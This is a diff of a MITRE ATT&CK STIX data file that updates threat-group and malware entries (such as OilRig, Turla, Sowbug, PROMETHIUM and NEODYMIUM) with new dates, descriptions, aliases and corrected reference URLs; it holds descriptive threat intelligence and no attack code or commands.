+            "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "NEODYMIUM",
+            "description": "is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called  due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+            "aliases": [
+                "NEODYMIUM"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0055",
+                    "external_id": "G0055"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ]
+        },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:54.232Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Naikon",
             "description": "Naikon is a threat group that has focused on targets around the South China Sea. (Citation: Baumgartner Naikon 2015) The group has been attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020). (Citation: CameraShy) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
             "aliases": [
@@ -15725,7 +16515,7 @@
                 {
                     "source_name": "Baumgartner Golovkin Naikon 2015",
                     "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
-                    "url": "https://securelist.com/analysis/publications/69953/the-naikon-apt/"
+                    "url": "https://securelist.com/the-naikon-apt/69953/"
                 }
             ]
         },
@@ -15734,7 +16524,7 @@
             "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.643Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Night Dragon",
             "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
             "aliases": [
@@ -15761,9 +16551,9 @@
             "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OilRig",
-            "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern victims since at least 2015. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016)",
+            "description": "OilRig is a threat group with suspected Iranian origins that has targeted Middle Eastern and international victims since at least 2015. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook OilRig Dec 2017) Reporting on OilRig may loosely overlap with APT34, but may not wholly align due to companies tracking groups in different ways. (Citation: FireEye APT34 Dec 2017)\n\nContributors: Robert Falcone, Bryan Lee",
             "aliases": [
                 "OilRig"
             ],
@@ -15795,6 +16585,52 @@
                     "source_name": "Palo Alto OilRig Oct 2016",
                     "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                     "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                },
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                },
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "x_mitre_contributors": [
+                "Robert Falcone",
+                "Bryan Lee"
+            ]
+        },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "PROMETHIUM",
+            "description": "is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims.  has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+            "aliases": [
+                "PROMETHIUM"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0056",
+                    "external_id": "G0056"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
                 }
             ]
         },
@@ -15803,7 +16639,7 @@
             "id": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.145Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Patchwork",
             "description": "Patchwork is a threat group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. Much of the code used by this group was copied and pasted from online forums. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork)",
             "aliases": [
@@ -15837,7 +16673,7 @@
             "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:50.198Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "PittyTiger",
             "description": "PittyTiger is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)",
             "aliases": [
@@ -15869,7 +16705,7 @@
             "id": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:04.179Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Poseidon Group",
             "description": "Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm. (Citation: Kaspersky Poseidon Group)",
             "aliases": [
@@ -15887,7 +16723,7 @@
                 {
                     "source_name": "Kaspersky Poseidon Group",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.",
-                    "url": "https://securelist.com/blog/research/73673/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/"
+                    "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"
                 }
             ]
         },
@@ -15896,7 +16732,7 @@
             "id": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.785Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Putter Panda",
             "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA\u2019s 3rd General Staff Department (GSD). (Citation: CrowdStrike Putter Panda)",
             "aliases": [
@@ -15925,7 +16761,7 @@
             "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:10.206Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RTM",
             "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)",
             "aliases": [
@@ -15952,9 +16788,9 @@
             "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:04.588Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sandworm Team",
-            "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014) This group is also known as Quedagh. (Citation: F-Secure BlackEnergy 2014)",
+            "description": "Sandworm Team is a cyber espionage group that has operated since approximately 2009 and has been attributed to Russia. (Citation: iSIGHT Sandworm 2014)",
             "aliases": [
                 "Sandworm Team",
                 "Quedagh"
@@ -15970,13 +16806,8 @@
                 },
                 {
                     "source_name": "iSIGHT Sandworm 2014",
-                    "description": "Ward, S.. (2014, October 14). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved April 8, 2016.",
-                    "url": "http://www.isightpartners.com/2014/10/cve-2014-4114/"
-                },
-                {
-                    "source_name": "F-Secure BlackEnergy 2014",
-                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
-                    "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
+                    "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html"
                 }
             ]
         },
@@ -15985,7 +16816,7 @@
             "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:00.677Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scarlet Mimic",
             "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)",
             "aliases": [
@@ -16007,12 +16838,42 @@
                 }
             ]
         },
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Sowbug",
+            "description": "is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev",
+            "aliases": [
+                "Sowbug"
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0054",
+                    "external_id": "G0054"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "x_mitre_contributors": [
+                "Alan Neville, @abnev"
+            ]
+        },
         {
             "type": "intrusion-set",
             "id": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Stealth Falcon",
             "description": "Stealth Falcon is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)",
             "aliases": [
@@ -16039,7 +16900,7 @@
             "id": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:07.541Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Strider",
             "description": "Strider is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)",
             "aliases": [
@@ -16063,7 +16924,7 @@
                 {
                     "source_name": "Kaspersky ProjectSauron Blog",
                     "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
-                    "url": "https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/"
+                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/"
                 }
             ]
         },
@@ -16072,7 +16933,7 @@
             "id": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:06.777Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Suckfly",
             "description": "Suckfly is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)",
             "aliases": [
@@ -16099,7 +16960,7 @@
             "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:52.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taidoor",
             "description": "Taidoor is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)",
             "aliases": [
@@ -16126,7 +16987,7 @@
             "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:59.120Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Threat Group-1314",
             "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)",
             "aliases": [
@@ -16154,7 +17015,7 @@
             "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:58.518Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Threat Group-3390",
             "description": "Threat Group-3390 is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017)",
             "aliases": [
@@ -16189,12 +17050,13 @@
             "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:49.816Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Turla",
-            "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. (Citation: Kaspersky Turla)",
+            "description": "Turla is a threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. They are known for conducting watering hole and spearphishing campaigns. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017)",
             "aliases": [
                 "Turla",
-                "Waterbug"
+                "Waterbug",
+                "WhiteBear"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -16208,7 +17070,12 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                 }
             ]
         },
@@ -16217,7 +17084,7 @@
             "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:08.682Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winnti Group",
             "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
             "aliases": [
@@ -16241,7 +17108,7 @@
                 {
                     "source_name": "Kaspersky Winnti June 2015",
                     "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
-                    "url": "https://securelist.com/blog/incidents/70991/games-are-over/"
+                    "url": "https://securelist.com/games-are-over/70991/"
                 },
                 {
                     "source_name": "Novetta Winnti April 2015",
@@ -16255,7 +17122,7 @@
             "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:53.579Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "admin@338",
             "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)",
             "aliases": [
@@ -16282,7 +17149,7 @@
             "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:09.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "menuPass",
             "description": "menuPass is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017)",
             "aliases": [
@@ -16333,7 +17200,7 @@
             "id": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:44.131Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "3PARA RAT",
             "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT",
             "labels": [
@@ -16363,7 +17230,7 @@
             "id": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:43.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "4H RAT",
             "description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT",
             "labels": [
@@ -16393,7 +17260,7 @@
             "id": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:34.648Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ADVSTORESHELL",
             "description": "ADVSTORESHELL is a spying backdoor that has been used by APT28 from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)\n\nAliases: ADVSTORESHELL, NETUI, EVILTOSS, AZZY, Sedreco",
             "labels": [
@@ -16408,7 +17275,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 },
                 {
                     "source_name": "ESET Sednit Part 2",
@@ -16432,7 +17299,7 @@
             "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:47.879Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ASPXSpy",
             "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool",
             "labels": [
@@ -16463,7 +17330,7 @@
             "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:59.153Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Agent.btz",
             "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz",
             "labels": [
@@ -16478,7 +17345,7 @@
                 {
                     "source_name": "Securelist Agent.btz",
                     "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
-                    "url": "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/"
+                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
                 }
             ],
             "object_marking_refs": [
@@ -16493,7 +17360,7 @@
             "id": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:02.428Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Arp",
             "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe",
             "labels": [
@@ -16524,9 +17391,9 @@
             "id": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:14.551Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AutoIt backdoor",
-            "description": "AutoIt is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor",
+            "description": "AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.\n\nAliases: AutoIt backdoor",
             "labels": [
                 "malware"
             ],
@@ -16554,7 +17421,7 @@
             "id": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:24.428Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BACKSPACE",
             "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna",
             "labels": [
@@ -16585,7 +17452,7 @@
             "id": "malware--e9595678-d269-469e-ae6b-75e49259de63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:14.118Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BADNEWS",
             "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
             "labels": [
@@ -16615,7 +17482,7 @@
             "id": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:13.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BBSRAT",
             "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT",
             "labels": [
@@ -16645,7 +17512,7 @@
             "id": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.147Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BISCUIT",
             "description": "BISCUIT is a backdoor that has been used by APT1 since as early as 2007. (Citation: Mandiant APT1)\n\nAliases: BISCUIT",
             "labels": [
@@ -16675,7 +17542,7 @@
             "id": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:45.892Z",
-            "modified": "2017-12-14T16:55:59.600Z",
